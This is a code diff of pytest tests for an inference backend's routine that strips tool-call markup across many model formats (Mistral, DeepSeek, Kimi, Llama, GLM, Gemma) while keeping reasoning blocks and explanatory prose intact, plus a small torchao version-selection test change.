+    assert strip_tool_call_markup("a <tool_call>{partial", final = True) == "a"
+
+
+def test_no_quadratic_blowup_on_unclosed_markers():
+    # Unguarded, this took minutes.
+    big = "<tool_call>" * 20000 + "<function=x>" * 20000
+    t0 = time.perf_counter()
+    out = strip_tool_call_markup(big, final = True)
+    assert time.perf_counter() - t0 < 2.0
+    assert out == ""
diff --git a/studio/backend/tests/test_tool_xml_strip.py b/studio/backend/tests/test_tool_xml_strip.py
index c2dc1fe8db..f7792a2a71 100644
--- a/studio/backend/tests/test_tool_xml_strip.py
+++ b/studio/backend/tests/test_tool_xml_strip.py
@@ -24,17 +24,74 @@ import re as _re
 _src = (Path(_BACKEND_DIR) / "routes" / "inference.py").read_text()
 _m = _re.search(r"_TOOL_XML_RE = _re\.compile\((.*?)\n\)", _src, _re.DOTALL)
 assert _m, "could not extract _TOOL_XML_RE source"
-_ns = {"_re": _re}
+# The lazy ``(.*?)\n\)`` could grab a shorter expression if an arm is ever wrapped;
+# pin the DeepSeek + bare-Kimi arms so a silent truncation fails loudly here.
+assert "_DS_OPEN_SRC" in _m.group(1) and "tool_call_begin" in _m.group(
+    1
+), "extracted _TOOL_XML_RE is missing expected arms (extraction truncated?)"
+# The regex reuses the parser's shared DeepSeek opener alternation; provide it so the extracted
+# ``_re.compile`` expression resolves the same source.
+from core.inference.tool_call_parser import _DEEPSEEK_OPEN_RE_SRC as _DS_OPEN_SRC
+from core.inference.tool_call_parser import (
+    _strip_function_xml_calls,
+    _strip_gemma_wrapperless_calls,
+    _strip_glm_calls,
+    _strip_mistral_closed_calls,
+)
+
+from typing import Optional as _Optional
+
+_ns = {
+    "_re": _re,
+    "_DS_OPEN_SRC": _DS_OPEN_SRC,
+    "Optional": _Optional,
+    "_strip_mistral_closed_calls": _strip_mistral_closed_calls,
+    "_strip_gemma_wrapperless_calls": _strip_gemma_wrapperless_calls,
+    "_strip_glm_calls": _strip_glm_calls,
+    "_strip_function_xml_calls": _strip_function_xml_calls,
+}
 exec(f"_TOOL_XML_RE = _re.compile({_m.group(1)})", _ns)
 _TOOL_XML_RE = _ns["_TOOL_XML_RE"]
-_helper = _re.search(
-    r"def _strip_tool_xml_for_display\(text: str, \*, auto_heal_tool_calls: bool\) -> str:\n"
-    r"(?:    .+\n)+",
+# The display helper uses the closed-only variant before the last think block; keep it in scope.
+_mc = _re.search(r"_TOOL_XML_CLOSED_RE = _re\.compile\((.*?)\n\)", _src, _re.DOTALL)
+assert _mc, "could not extract _TOOL_XML_CLOSED_RE source"
+exec(f"_TOOL_XML_CLOSED_RE = _re.compile({_mc.group(1)})", _ns)
+_TOOL_XML_CLOSED_RE = _ns["_TOOL_XML_CLOSED_RE"]
+
+# Signatures may span multiple lines and now carry the enabled_tool_names gate; match
+# the whole (possibly multi-line) signature up to ``-> str:`` then the indented body.
+_xml_helper = _re.search(
+    r"def _strip_tool_xml\((?:.|\n)*?\) -> str:\n(?:    .+\n)+",
     _src,
 )
-assert _helper, "could not extract _strip_tool_xml_for_display source"
+assert _xml_helper, "could not extract _strip_tool_xml source"
+assert "_strip_mistral_closed_calls" in _xml_helper.group(
+    0
+), "extracted _strip_tool_xml no longer runs the Mistral balanced strip"
+exec(_xml_helper.group(0), _ns)
+_strip_tool_xml = _ns["_strip_tool_xml"]
+
+# Extract the gate helper and display strip up to the next top-level ``logger =``.
+_helper = _re.search(
+    r"def _display_tool_name_gate\(.*?(?=\nlogger = get_logger)",
+    _src,
+    _re.DOTALL,
+)
+assert _helper, "could not extract display strip helper source"
+# The extracted block spans _display_tool_name_gate through _strip_tool_xml (defined before
+# ``logger =``); confirm the shared _strip_tool_xml delegate is present.
+assert "_strip_tool_xml(" in _helper.group(0), "display helper no longer delegates"
 exec(_helper.group(0), _ns)
 _strip_tool_xml_for_display = _ns["_strip_tool_xml_for_display"]
+_display_tool_name_gate = _ns["_display_tool_name_gate"]
+
+_gate_src = _re.search(
+    r"def _gemma_strip_gate\((?:.|\n)*?\) -> set:\n(?:    .+\n)+",
+    _src,
+)
+assert _gate_src, "could not extract _gemma_strip_gate source"
+exec(_gate_src.group(0), _ns)
+_gemma_strip_gate = _ns["_gemma_strip_gate"]
 
 
 # ── Well-formed pairs ─────────────────────────────────────────────
@@ -46,6 +103,66 @@ def test_route_display_strip_respects_disabled_auto_heal_contract():
     assert "<tool_call>" not in _strip_tool_xml_for_display(text, auto_heal_tool_calls = True)
 
 
+def test_route_display_strip_preserves_rehearsal_inside_think():
+    # A rehearsed bracket call inside think is reasoning: the block is preserved while a real
+    # call outside it still strips.
+    text = '<think>plan: search[ARGS]{"q":"x"}</think> answer [TOOL_CALLS]web_search{"q":"y"} tail'
+    out = _strip_tool_xml_for_display(text, auto_heal_tool_calls = True)
+    assert '<think>plan: search[ARGS]{"q":"x"}</think>' in out
+    assert "[TOOL_CALLS]web_search" not in out
+    assert "answer" in out and "tail" in out
+
+
+def test_route_display_strip_keeps_bare_args_before_think_block():
+    # A bare ``foo[ARGS]`` before a think block is prose: EOS-anchored tail arms run only on
+    # the last segment (earlier segments use the closed-only regex).
+    text = "Please pass foo[ARGS] <think>pause</think> to the template."
+    assert _strip_tool_xml_for_display(text, auto_heal_tool_calls = True) == text
+
+
+def test_route_display_strip_removes_complete_call_before_think_block():
+    # A complete bracket call before a think block still strips (balanced scan runs on every segment).
+    text = 'before search[ARGS]{"q":"x"} <think>pause</think> after'
+    out = _strip_tool_xml_for_display(text, auto_heal_tool_calls = True)
+    assert "search[ARGS]" not in out
+    assert "<think>pause</think>" in out
+    assert "before" in out and "after" in out
+
+
+def test_route_display_strip_removes_closed_xml_before_think_block():
+    # A closed <tool_call> before a think block is removed in the non-last segment.
+    text = 'pre <tool_call>{"name":"x"}</tool_call> <think>p</think> tail'
+    out = _strip_tool_xml_for_display(text, auto_heal_tool_calls = True)
+    assert "<tool_call>" not in out
+    assert "<think>p</think>" in out
+    assert "pre" in out and "tail" in out
+
+
+def test_all_route_cleanup_sites_use_protected_display_helper():
+    # Every route cleanup site must use _strip_tool_xml_for_display (think-preserving,
+    # balanced); raw _TOOL_XML_RE.sub corrupted think rehearsal and trailing prose. The only
+    # legitimate raw sub lives inside the helper itself.
+    raw_sub_lines = [
+        (i, line)
+        for i, line in enumerate(_src.splitlines(), 1)
+        if "_TOOL_XML_RE.sub(" in line and not line.lstrip().startswith("#")
+    ]
+    assert len(raw_sub_lines) == 1, (
+        "raw _TOOL_XML_RE.sub must appear only inside _strip_tool_xml_for_display; "
+        f"found extra call sites: {raw_sub_lines!r}"
+    )
+
+
+def test_route_display_strip_removes_mistral_tool_calls_with_nested_json():
+    # _TOOL_XML_RE has no [TOOL_CALLS] arm, so the helper delegates to _strip_tool_xml for the Mistral
+    # balanced-brace strip (a non-greedy \{.*?\} would truncate nested JSON).
+    text = 'ok [TOOL_CALLS]web_search{"filters":{"date":"2024"},"query":"cats"} tail'
+    assert _strip_tool_xml_for_display(text, auto_heal_tool_calls = False) == text
+    out = _strip_tool_xml_for_display(text, auto_heal_tool_calls = True)
+    assert "[TOOL_CALLS]" not in out and "web_search" not in out, out
+    assert out == "ok  tail"
+
+
 def test_strips_well_formed_tool_call():
     text = (
         "Let me search.\n"
@@ -73,6 +190,26 @@ def test_strips_function_only_well_formed():
     assert "Done." in cleaned
 
 
+def test_strips_function_attribute_form():
+    # Attribute form ``<function name="...">`` (MiniCPM-5 / MiniMax-M2) must strip from the route too
+    # (it previously leaked into the UI); a dotted/hyphenated name also strips.
+    text = (
+        'Sure.\n<function name="get_weather">\n'
+        "<parameter=city>\nSydney\n</parameter>\n</function>\nDone."
+    )
+    cleaned = _TOOL_XML_RE.sub("", text)
+    assert "<function name=" not in cleaned
+    assert "</function>" not in cleaned
+    assert "Sure." in cleaned and "Done." in cleaned
+
+    dotted = 'A <function name="srv.list-issues">x</function> B'
+    assert _TOOL_XML_RE.sub("", dotted) == "A  B"
+
+    # Auto-Heal-disabled display contract still preserves literal markup.
+    assert _strip_tool_xml_for_display(text, auto_heal_tool_calls = False) == text
+    assert "<function name=" not in _strip_tool_xml_for_display(text, auto_heal_tool_calls = True)
+
+
 # ── Orphan openings ───────────────────────────────────────────────
 
 
@@ -155,6 +292,32 @@ def test_strips_tail_only_parameter_orphan_no_trailing_ws():
     assert "Final answer." in cleaned
 
 
+def test_strips_complete_bracket_tag_keeps_trailing_prose():
+    # A complete Mistral call strips only its balanced JSON, leaving following prose intact.
+    cleaned = _TOOL_XML_RE.sub("", '[TOOL_CALLS]web_search{"q":"x"} and then prose')
+    assert "[TOOL_CALLS]" not in cleaned
+    assert "and then prose" in cleaned
+
+
+def test_strips_unclosed_bracket_tail():
+    # Close brace lost to EOS: the truncated tail strips to the end instead of leaking.
+    cleaned = _TOOL_XML_RE.sub("", 'here [TOOL_CALLS]web_search{"query":"weather"')
+    assert "[TOOL_CALLS]" not in cleaned
+    assert cleaned.strip() == "here"
+
+
+def test_strips_unclosed_rehearsal_tail():
+    cleaned = _TOOL_XML_RE.sub("", 'text python[ARGS]{"code":"print(1)"')
+    assert "[ARGS]" not in cleaned
+    assert cleaned.strip() == "text"
+
+
+def test_strips_hyphenated_mcp_bracket_name():
+    cleaned = _TOOL_XML_RE.sub("", 'x [TOOL_CALLS]mcp__srv__list-issues{"q":"x"}')
+    assert "list-issues" not in cleaned
+    assert cleaned.strip() == "x"
+
+
 def test_preserves_mid_string_parameter_in_code_sample():
     # Tail-anchor on `</parameter>` so doc/example prose survives.
     text = (
@@ -281,3 +444,473 @@ def test_no_catastrophic_backtracking_on_orphan_opening_spam():
     elapsed = time.perf_counter() - t0
     assert elapsed < 0.1, f"regex took {elapsed*1000:.0f}ms on 1000x orphan opens"
     assert "<tool_call>" not in cleaned
+
+
+# ── Two-level-nested bracket JSON (balanced-scan strip) ──────────
+
+
+def test_route_strip_two_level_nested_bracket_keeps_trailing_prose():
+    # Two-level-nested args must be removed whole so the trailing prose survives.
+    text = 'before [TOOL_CALLS]search{"f":{"g":{"h":1}}} after'
+    cleaned = _strip_tool_xml_for_display(text, auto_heal_tool_calls = True)
+    assert cleaned == "before  after"
+    assert "[TOOL_CALLS]" not in cleaned
+
+
+def test_route_strip_two_level_nested_rehearsal_keeps_trailing_prose():
+    text = 'note python[ARGS]{"a":{"b":{"c":1}}} done'
+    cleaned = _strip_tool_xml_for_display(text, auto_heal_tool_calls = True)
+    assert cleaned == "note  done"
+    assert "[ARGS]" not in cleaned
+
+
+def test_route_strip_removes_call_with_literal_think_in_argument():
+    # A literal <think> inside a call argument strips with the call, not as reasoning.
+    text = (
+        '<tool_call>{"name":"write","arguments":'
+        '{"text":"compare <think> and </think> tags"}}</tool_call>'
+    )
+    out = _strip_tool_xml_for_display(text, auto_heal_tool_calls = True)
+    assert "<tool_call>" not in out and '"name"' not in out
+
+
+def test_route_strip_removes_truncated_mistral_array():
+    # A canonical array truncated by EOS is stripped by the route fallback like other orphans.
+    text = 'before [TOOL_CALLS] [{"name":"a","arguments":{"x":1}}'  # missing ]
+    out = _strip_tool_xml_for_display(text, auto_heal_tool_calls = True)
+    assert "[TOOL_CALLS]" not in out and "{" not in out
+    assert "before" in out
+
+
+def test_route_strip_keeps_prose_mentioning_args_marker():
+    # ``foo[ARGS] in a sentence`` is prose; the rehearsal arm must not truncate the line.
+    text = "Please pass foo[ARGS] to the template and continue reading."
+    out = _strip_tool_xml_for_display(text, auto_heal_tool_calls = True)
+    assert out == text
+
+
+def test_route_strip_handles_mistral_v11_call_id_args_shape():
+    # v11 [CALL_ID]/[ARGS] shape (Mistral Small 3.2) must strip whole.
+    text = 'before [TOOL_CALLS]web_search[CALL_ID]abc123[ARGS]{"q":"x"} after'
+    out = _strip_tool_xml_for_display(text, auto_heal_tool_calls = True)
+    assert "[TOOL_CALLS]" not in out and "[CALL_ID]" not in out and "[ARGS]" not in out
+    assert "before" in out and "after" in out
+
+
+# ── Mistral [/TOOL_CALLS] closer + literal <think> inside a call ───────────────
+
+from core.tool_healing import strip_tool_call_markup as _strip_tool_call_markup
+
+
+def test_core_strip_removes_orphan_tool_calls_closer_array_form():
+    # The bare v11 [/TOOL_CALLS] closer left by the balanced scan must not leak as content.
+    text = '[TOOL_CALLS] [{"name":"x","arguments":{}}][/TOOL_CALLS]'
+    assert _strip_tool_call_markup(text, final = True) == ""
+
+
+def test_core_strip_removes_orphan_tool_calls_closer_named_form_keeps_tail():
+    text = '[TOOL_CALLS]web_search{"q":"x"}[/TOOL_CALLS] tail'
+    assert _strip_tool_call_markup(text, final = True) == "tail"
+
+
+def test_core_strip_removes_call_with_literal_think_in_argument():
+    # An unclosed literal <think> inside call arguments strips with the call (argument data).
+    text = 'before <tool_call>{"name":"write","arguments":{"text":"literal <think> marker"}}</tool_call> after'
+    assert _strip_tool_call_markup(text, final = True) == "before  after"
+
+
+def test_route_display_strip_removes_orphan_tool_calls_closer_array_form():
+    text = '[TOOL_CALLS] [{"name":"x","arguments":{}}][/TOOL_CALLS]'
+    out = _strip_tool_xml_for_display(text, auto_heal_tool_calls = True)
+    assert out.strip() == ""
+
+
+def test_route_display_strip_removes_orphan_tool_calls_closer_named_form_keeps_tail():
+    text = '[TOOL_CALLS]web_search{"q":"x"}[/TOOL_CALLS] tail'
+    out = _strip_tool_xml_for_display(text, auto_heal_tool_calls = True)
+    assert "[/TOOL_CALLS]" not in out
+    assert out.strip() == "tail"
+
+
+def test_incomplete_xml_call_with_literal_think_in_arg_is_stripped():
+    # An incomplete <tool_call> holding a literal <think> strips to EOS, not as a reasoning
+    # block (the unclosed tail _tool_call_markup_spans previously missed).
+    from core.tool_healing import parse_tool_calls_from_text as _parse
+    from core.tool_healing import strip_tool_call_markup as _strip
+
+    text = 'before <tool_call>{"name":"write","arguments":{"text":"literal <think> marker"}} after'
+    assert [c["function"]["name"] for c in _parse(text)] == ["write"]
+    assert _strip(text, final = True) == "before"
+
+    # A real reasoning block with no tool call is still preserved verbatim.
+    assert (
+        _strip("answer <think>real</think> done", final = True) == "answer <think>real</think> done"
+    )
+
+    # A complete call followed by a real reasoning block: call stripped, block kept.
+    mixed = '<tool_call>{"name":"a","arguments":{}}</tool_call> mid <think>r</think> end'
+    assert _strip(mixed, final = True) == "mid <think>r</think> end"
+
+
+# ── enabled-tool gate for the ambiguous bare-rehearsal strip (#5704) ──
+
+
+def test_display_tool_name_gate_returns_active_names_or_none():
+    # Empty / no tools -> None (unrestricted; keep the legacy strip-all behavior).
+    assert _display_tool_name_gate([]) is None
+    assert _display_tool_name_gate(None) is None
+    # OpenAI-shaped tool dicts -> set of function names, malformed entries dropped.
+    tools = [
+        {"type": "function", "function": {"name": "web_search"}},
+        {"type": "function", "function": {"name": "run_python"}},
+        {"type": "function"},  # no name
+        {"nope": 1},  # no function
+    ]
+    assert _display_tool_name_gate(tools) == {"web_search", "run_python"}
+
+
+def test_route_display_strip_keeps_inactive_rehearsal_when_gated():
+    # P1 #5704: an inactive ``foo[ARGS]{...}`` is prose; the gated strip leaves the sentence intact.
+    gate = {"web_search"}
+    text = 'foo[ARGS]{"x":1} is just syntax.'
+    assert (
+        _strip_tool_xml_for_display(text, auto_heal_tool_calls = True, enabled_tool_names = gate)
+        == text
+    )
+    # A bare marker with no JSON body is likewise prose when inactive.
+    assert (
+        _strip_tool_xml_for_display(
+            "use foo[ARGS] here", auto_heal_tool_calls = True, enabled_tool_names = gate
+        )
+        == "use foo[ARGS] here"
+    )
+
+
+def test_route_display_strip_removes_active_rehearsal_when_gated():
+    # Mirror case: an active tool name is a real rehearsal and still strips.
+    gate = {"web_search"}
+    out = _strip_tool_xml_for_display(
+        'web_search[ARGS]{"query":"x"} done', auto_heal_tool_calls = True, enabled_tool_names = gate
+    )
+    assert "web_search[ARGS]" not in out
+    assert out.strip() == "done"
+
+
+def test_route_display_strip_ungated_strips_all_rehearsal_unchanged():
+    # Backwards-compat: with no gate (None) the bare rehearsal strips as before.
+    text = 'foo[ARGS]{"x":1} is just syntax.'
+    assert _strip_tool_xml_for_display(text, auto_heal_tool_calls = True).strip() == "is just syntax."
+    assert (
+        _strip_tool_xml_for_display(
+            text, auto_heal_tool_calls = True, enabled_tool_names = None
+        ).strip()
+        == "is just syntax."
+    )
+
+
+def test_route_display_strip_control_token_stripped_regardless_of_gate():
+    # [TOOL_CALLS] is a control token: stripped even when its NAME is not in the gate.
+    gate = {"web_search"}
+    out = _strip_tool_xml_for_display(
+        '[TOOL_CALLS]foo[ARGS]{"x":1} keep', auto_heal_tool_calls = True, enabled_tool_names = gate
+    )
+    assert "[TOOL_CALLS]" not in out and "foo[ARGS]" not in out
+    assert out.strip() == "keep"
+
+
+def test_core_strip_gates_bare_rehearsal_on_enabled_tools():
+    # P1 (#5704): the shared strip gate mirrors the parse gate -- inactive names are prose
+    # and preserved, active names strip, ``None`` keeps legacy strip-all.
+    from core.tool_healing import strip_tool_call_markup as _strip
+
+    text = 'foo[ARGS]{"x":1} is just syntax.'
+    assert _strip(text, final = True, enabled_tool_names = {"web_search"}) == text
+    assert (
+        _strip('web_search[ARGS]{"q":1} done', final = True, enabled_tool_names = {"web_search"})
+        == "done"
+    )
+    assert _strip(text, final = True).strip() == "is just syntax."
+    assert _strip(text, final = True, enabled_tool_names = None).strip() == "is just syntax."
+
+
+def test_route_display_strip_gate_preserves_inactive_history_rehearsal():
+    # The GGUF history sanitiser passes the gate, so a documented inactive shape survives in
+    # the replayed prompt context.
+    gate = _display_tool_name_gate([{"function": {"name": "web_search"}}])
+    text = 'To call it write foo[ARGS]{"x":1} in your reply.'
+    assert 'foo[ARGS]{"x":1}' in _strip_tool_xml_for_display(
+        text, auto_heal_tool_calls = True, enabled_tool_names = gate
+    )
+    # An ACTIVE name is still stripped as a real rehearsed call.
+    assert "web_search[ARGS]" not in _strip_tool_xml_for_display(
+        'Result web_search[ARGS]{"q":"x"} done', auto_heal_tool_calls = True, enabled_tool_names = gate
+    )
+    # No gate (legacy) strips every NAME[ARGS]{...}.
+    assert "foo[ARGS]" not in _strip_tool_xml_for_display(text, auto_heal_tool_calls = True)
+
+
+def test_gguf_history_sanitizer_forwards_enabled_tool_names_gate():
+    # Wiring guard: the GGUF history strip must forward the display gate like the live strip.
+    block = _re.search(
+        r"Strip stale tool-call XML from conversation history.*?\.strip\(\)",
+        _src,
+        _re.DOTALL,
+    )
+    assert block, "could not locate GGUF history sanitizer block"
+    assert "enabled_tool_names" in block.group(
+        0
+    ), "GGUF history sanitizer must pass enabled_tool_names to _strip_tool_xml_for_display"
+
+
+def test_route_history_and_passthrough_forward_the_display_gate():
+    # The safetensors/Anthropic history sanitisers and the Anthropic non-stream passthrough
+    # must forward the gate so inactive examples survive in replayed prompt / final text.
+    blocks = {
+        "safetensors history": r"Strip stale tool-call XML from prior assistant turns.*?\.strip\(\)",
+        "anthropic history": r"Strip stale tool-call XML via the protected display helper.*?\.strip\(\)",
+        "anthropic passthrough": r"gated on the declared tools so an\n.*?\.strip\(\)",
+    }
+    for label, pat in blocks.items():
+        m = _re.search(pat, _src, _re.DOTALL)
+        assert m, f"could not locate {label} strip block"
+        assert "enabled_tool_names" in m.group(
+            0
+        ), f"{label} must forward enabled_tool_names to _strip_tool_xml_for_display"
+
+
+# ── DeepSeek opener variants + bare Kimi (parse/strip symmetry) ──
+
+
+def test_strips_deepseek_space_opener_variant():
+    # The space-separated opener is parsed by the parser, so the display strip
+    # must remove it too (the shared opener alternation is reused here).
+    text = (
+        "pre <｜tool calls begin｜><｜tool▁call▁begin｜>get_x<｜tool▁sep｜>"
+        '{"a":1}<｜tool▁call▁end｜><｜tool▁calls▁end｜> post'
+    )
+    cleaned = _TOOL_XML_RE.sub("", text)
+    assert "tool" not in cleaned.replace("post", "").replace("pre", "")
+    assert cleaned == "pre  post"
+
+
+def test_strips_deepseek_escaped_underscore_opener_variant():
+    text = (
+        "pre <｜tool\\_calls\\_begin｜><｜tool▁call▁begin｜>get_y<｜tool▁sep｜>"
+        '{"a":1}<｜tool▁call▁end｜><｜tool▁calls▁end｜> post'
+    )
+    cleaned = _TOOL_XML_RE.sub("", text)
+    assert cleaned == "pre  post"
+
+
+def test_strips_bare_kimi_call_without_section_wrapper():
+    # Kimi can emit a bare <|tool_call_begin|>...<|tool_call_end|> with no
+    # section wrapper; the parser accepts it, so the strip must cover it.
+    text = (
+        "pre <|tool_call_begin|>functions.get_w:0<|tool_call_argument_begin|>"
+        '{"a":1}<|tool_call_end|> post'
+    )
+    cleaned = _TOOL_XML_RE.sub("", text)
+    assert "tool_call_begin" not in cleaned
+    assert cleaned == "pre  post"
+
+
+@pytest.mark.parametrize(
+    "text",
+    [
+        # Prose that merely names a Kimi/DeepSeek marker (no real call follows) must
+        # survive: the call-shaped lookahead fires only on a real call or a bare EOF
+        # fragment, so an answer discussing the protocol is never truncated.
+        "See <|tool_call_begin|> in the docs. More prose after it.",
+        "The <|tool_calls_section_begin|> marker opens a batch. Read on.",
+        "DeepSeek uses <｜tool▁calls▁begin｜> to start a call block, then continues.",
+    ],
+)
+def test_deepseek_kimi_false_alarm_prose_is_kept(text):
+    # Regression for the route arm truncating a prose answer that references a marker
+    # without a following call (parser _TOOL_ALL_PATS already had this lookahead).
+    assert _TOOL_XML_RE.sub("", text) == text
+
+
+def test_deepseek_kimi_real_calls_still_strip_after_false_alarm_fix():
+    # The lookahead must not weaken real-call stripping: closed, truncated, and bare
+    # EOF-fragment forms all still get removed.
+    closed = (
+        "answer <|tool_call_begin|>functions.get_w:0<|tool_call_argument_begin|>"
+        '{"a":1}<|tool_call_end|> tail'
+    )
+    assert _TOOL_XML_RE.sub("", closed) == "answer  tail"
+    eof_fragment = "prefix <|tool_call_begin|>"
+    assert _TOOL_XML_RE.sub("", eof_fragment) == "prefix "
+    deepseek = (
+        "reply <｜tool▁calls▁begin｜><｜tool▁call▁begin｜>get_x<｜tool▁sep｜>"
+        '{"a":1}<｜tool▁call▁end｜><｜tool▁calls▁end｜>'
+    )
+    assert _TOOL_XML_RE.sub("", deepseek) == "reply "
+
+
+# ── Llama-3 <|python_tag|> arm bounds on REAL sentinels only ──────
+
+
+# Llama-3 <|python_tag|> arm bounds on REAL sentinels only
+def test_python_tag_strip_consumes_literal_sentinel_in_arg():
+    # A <|python_tag|> tool call whose JSON argument carries a literal <|...|>
+    # token (here <|cite|>) must be stripped whole. The old `<(?!\|)` arm stopped
+    # at any `<|`, leaking the call tail (e.g. `<|cite|> here"}}`) into display.
+    text = '<|python_tag|>{"name": "send", "parameters": {"text": "use <|cite|> here"}}'
+    cleaned = _TOOL_XML_RE.sub("", text)
+    assert cleaned == "", f"python_tag call leaked at literal sentinel: {cleaned!r}"
+
+
+@pytest.mark.parametrize(
+    "sentinel",
+    [
+        "<|eot_id|>",
+        "<|eom_id|>",
+        "<|start_header_id|>",
+        "<|end_header_id|>",
+    ],
+)
+def test_python_tag_strip_stops_at_real_sentinel(sentinel):
+    # A genuine Llama control sentinel still bounds the strip so following
+    # assistant text is preserved (the arm must not swallow past it).
+    text = f'<|python_tag|>{{"name": "x", "parameters": {{}}}}{sentinel}visible answer'
+    cleaned = _TOOL_XML_RE.sub("", text)
+    assert (
+        cleaned == f"{sentinel}visible answer"
+    ), f"strip did not stop at real sentinel {sentinel!r}: {cleaned!r}"
+
+
+def test_python_tag_strip_restarts_on_second_python_tag():
+    # A second <|python_tag|> opens a new tool-call region, so the whole pair is
+    # stripped (the arm bounds the first, then the next match consumes the rest).
+    text = '<|python_tag|>{"name": "a"}<|python_tag|>{"name": "b"}'
+    cleaned = _TOOL_XML_RE.sub("", text)
+    assert cleaned == "", f"second python_tag region leaked: {cleaned!r}"
+
+
+def test_glm_call_with_literal_close_tag_in_arg_value_is_stripped_whole():
+    # GLM 4.x emits <tool_call>NAME<arg_key>k</arg_key><arg_value>v</arg_value> ...</tool_call>.
+    text = (
+        "<tool_call>web_search\n<arg_key>query</arg_key>\n"
+        "<arg_value>find </tool_call> here</arg_value>\n</tool_call> done"
+    )
+    out = _strip_tool_xml_for_display(text, auto_heal_tool_calls = True)
+    assert "</arg_value>" not in out
+    assert "<arg_key>" not in out
+    assert out.strip() == "done"
+
+
+def test_glm_normal_and_qwen_calls_still_stripped_by_route():
+    # Regression: a normal GLM call (no literal close tag) and a Qwen
+    # <tool_call>{json}</tool_call> are still stripped; trailing prose is kept.
+    glm = "<tool_call>get_time\n<arg_key>tz</arg_key>\n<arg_value>UTC</arg_value>\n</tool_call> ok"
+    assert _strip_tool_xml_for_display(glm, auto_heal_tool_calls = True).strip() == "ok"
+    qwen = '<tool_call>{"name":"web_search","arguments":{"q":"x"}}</tool_call> after'
+    assert _strip_tool_xml_for_display(qwen, auto_heal_tool_calls = True).strip() == "after"
+
+
+def test_route_strip_removes_param_alias_close_tag():
+    # The parser accepts the <param name="...">...</param> attribute-form alias of
+    # <parameter=...>; the route tail cleanup must strip an orphan </param> close too.
+    assert _strip_tool_xml_for_display("answer </param>", auto_heal_tool_calls = True) == "answer "
+    assert (
+        _strip_tool_xml_for_display("answer </parameter>", auto_heal_tool_calls = True) == "answer "
+    )
+
+
+def test_route_strip_uses_guarded_function_scan_for_literal_nested_markup():
+    # A literal <function=...></function> in a value must not truncate the strip: the route runs the
+    # parser's guarded function-XML scan before the regex, matching the core strip.
+    text = "<function=python><parameter=code><function=evil></function></parameter></function> tail"
+    assert _strip_tool_xml_for_display(text, auto_heal_tool_calls = True).strip() == "tail"
+
+
+def test_route_strip_gates_wrapperless_gemma_by_enabled_tools():
+    # The route strip must gate the markerless Gemma call:NAME{...} form on the enabled tool names,
+    # like the parser/loop, so a disabled/example name in prose is preserved in ...
+    prose = "To document syntax you write call:foo{query:example}. That shows the format."
+    assert "call:foo{query:example}" in _strip_tool_xml(prose, {"web_search"})
+    # An enabled name is still a real call and stripped.
+    assert "call:web_search" not in _strip_tool_xml(
+        "Answer. call:web_search{query:x}", {"web_search"}
+    )
+    # No gate (legacy) strips every closed call.
+    assert "call:foo" not in _strip_tool_xml(prose)
+
+
+def test_gemma_strip_gate_empty_tools_preserves_prose():
+    # With NO tools enabled the gate must return an EMPTY set (strip nothing), not None: None falls
+    # back to strip-all and deletes an answer that documents the call:NAME{...} syntax.
+    assert _gemma_strip_gate([]) == set()
+    assert _gemma_strip_gate(None) == set()
+    assert _gemma_strip_gate([{"function": {"name": "web_search"}}]) == {"web_search"}
+    prose = "To document syntax you write call:foo{query:example}. That shows the format."
+    assert "call:foo{query:example}" in _strip_tool_xml(prose, _gemma_strip_gate([]))
+    assert "call:foo{query:example}" in _strip_tool_xml(prose, _gemma_strip_gate(None))
+    # An enabled tool's real call is still stripped.
+    assert "call:web_search" not in _strip_tool_xml(
+        "Answer. call:web_search{query:x}",
+        _gemma_strip_gate([{"function": {"name": "web_search"}}]),
+    )
+
+
+def test_strip_keeps_prose_after_closed_function_call_with_literal_close():
+    # The call ends at its first non-data close: prose after it survives the
+    # strip even when it mentions a literal </function>.
+    from core.inference.tool_call_parser import strip_tool_markup
+    text = (
+        "<function=web_search><parameter=query>cats</parameter></function>"
+        " Done. The tag </function> closes a call."
+    )
+    assert strip_tool_markup(text, final = True) == "Done. The tag </function> closes a call."
+
+
+def test_final_strip_keeps_prose_mentioning_bare_markers():
+    # A false-alarm marker in a normal answer must not lose everything after
+    # it; only text that looks like that family's call start drops.
+    from core.inference.tool_call_parser import strip_tool_markup
+    for text in (
+        "See [TOOL_CALLS] docs for details. More prose after.",
+        "<|python_tag|> is the Llama marker. Explanation continues.",
+        "The <|tool_call> opener wraps Gemma calls.",
+    ):
+        assert strip_tool_markup(text, final = True) == text
+    # A bare marker at end-of-text is a fragment and still drops.
+    assert strip_tool_markup("Answer text [TOOL_CALLS]", final = True) == "Answer text"
+
+
+def test_final_strip_still_drops_truncated_marker_calls():
+    from core.inference.tool_call_parser import strip_tool_markup
+    for text in (
+        '[TOOL_CALLS][{"name":"web_search","argu',
+        '[TOOL_CALLS]web_search[ARGS]{"q":"x',
+        '<|python_tag|>{"name":"web_search","par',
+        '<|python_tag|>foo.call(items=["a',
+        "<|tool_call>call:web_search{query:tru",
+    ):
+        assert strip_tool_markup(text, final = True) == ""
+
+
+def test_chained_bare_json_strip_consumes_all_calls():
+    # The loops keep this text as next-turn history: a leftover executed call
+    # would be replayed alongside the structured tool_calls.
+    from core.inference.tool_call_parser import strip_leading_bare_json_call
+
+    enabled = {"web_search", "python"}
+    chained = (
+        '{"name":"web_search","parameters":{"q":"first"}};'
+        '{"name":"python","parameters":{"code":"x"}}'
+    )
+    assert strip_leading_bare_json_call(chained, enabled_tool_names = enabled) == ""
+    assert (
+        strip_leading_bare_json_call(chained + " trailing prose", enabled_tool_names = enabled)
+        == "trailing prose"
+    )
+    # The chain stops at a non-call answer object, which stays visible.
+    call_then_answer = (
+        '{"name":"web_search","parameters":{"q":"x"}};{"name":"web_search","result":"data"}'
+    )
+    assert (
+        strip_leading_bare_json_call(call_then_answer, enabled_tool_names = enabled)
+        == '{"name":"web_search","result":"data"}'
+    )
diff --git a/studio/backend/tests/test_torchao_select.py b/studio/backend/tests/test_torchao_select.py
index 2d3dc5fbff..e4775a10a6 100644
--- a/studio/backend/tests/test_torchao_select.py
+++ b/studio/backend/tests/test_torchao_select.py
@@ -32,16 +32,23 @@ def _load_module(monkeypatch):
 @pytest.mark.parametrize(
     "torch_version, expected",
     [
-        # torch 2.10 (the reported bug: cu130 resolves 2.10.0) -> 0.16.0,
-        # independent of the local +cuXXX/+rocm/+cpu suffix or patch level.
-        ("2.10.0+cu130", "torchao==0.16.0"),
+        # torch 2.10 on CUDA <= 12 -> 0.16.0 (its cpp is built for torch 2.10.0 and
+        # loads against the CUDA-12 PyPI wheel). Independent of patch level.
+        ("2.10.0+cu128", "torchao==0.16.0"),
